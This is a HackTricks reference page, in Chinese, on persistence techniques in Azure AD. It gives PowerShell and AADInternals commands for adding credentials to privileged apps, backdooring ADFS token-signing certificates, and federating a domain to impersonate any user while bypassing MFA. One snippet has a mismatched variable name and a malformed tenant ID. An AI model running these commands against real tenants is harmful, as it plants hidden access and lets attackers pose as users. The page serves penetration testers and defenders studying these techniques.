Az - Persistence

支持 HackTricks

非法同意授予

默认情况下,任何用户都可以在 Azure AD 中注册应用程序。因此,您可以注册一个应用程序(仅适用于目标租户),该应用程序需要管理员同意的高影响权限(如果您是管理员,则可以批准它)- 比如代表用户发送邮件、角色管理等。这将使我们能够在成功的情况下执行钓鱼攻击,这将是非常有成效的。

此外,您还可以接受该应用程序,并以您的用户身份来维持对其的访问。

应用程序和服务主体

具有应用程序管理员、GA 或具有 microsoft.directory/applications/credentials/update 权限的自定义角色的特权,我们可以向现有应用程序添加凭据(密钥或证书)。

可以针对具有高权限的应用程序添加一个具有高权限的新应用程序

一个有趣的角色是特权身份验证管理员角色,因为它允许重置全局管理员的密码

此技术还允许绕过 MFA

$passwd = ConvertTo-SecureString "J~Q~QMt_qe4uDzg53MDD_jrj_Q3P.changed" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential("311bf843-cc8b-459c-be24-6ed908458623", $passwd)
Connect-AzAccount -ServicePrincipal -Credential $credentials -Tenant e12984235-1035-452e-bd32-ab4d72639a
  • 用于基于证书的身份验证

Connect-AzAccount -ServicePrincipal -Tenant <TenantId> -CertificateThumbprint <Thumbprint> -ApplicationId <ApplicationId>

联合 - 令牌签名证书

拥有本地 AD 上的 DA 特权,可以创建和导入具有非常长有效期的 新令牌签名令牌解密证书。这将允许我们以任何我们知道其 ImuutableID 的用户身份 登录

作为 ADFS 服务器上的 DA 运行以下命令来创建新证书(默认密码为 'AADInternals'),将它们添加到 ADFS,禁用自动翻转并重新启动服务:

New-AADIntADFSSelfSignedCertificates

然后,使用Azure AD更新证书信息:

Update-AADIntADFSFederationSettings -Domain cyberranges.io

联邦 - 受信任域

拥有租户上的 GA 特权后,可以添加一个新域(必须经过验证),将其身份验证类型配置为联合,并配置该域信任特定证书(在下面的命令中为 any.sts)和发行者:

# Using AADInternals
ConvertTo-AADIntBackdoor -DomainName cyberranges.io

# Get ImmutableID of the user that we want to impersonate. Using Msol module
Get-MsolUser | select userPrincipalName,ImmutableID

# Access any cloud app as the user
Open-AADIntOffice365Portal -ImmutableID qIMPTm2Q3kimHgg4KQyveA== -Issuer "http://any.sts/B231A11F" -UseBuiltInCertificate -ByPassMFA$true

参考资料

支持 HackTricks

Last updated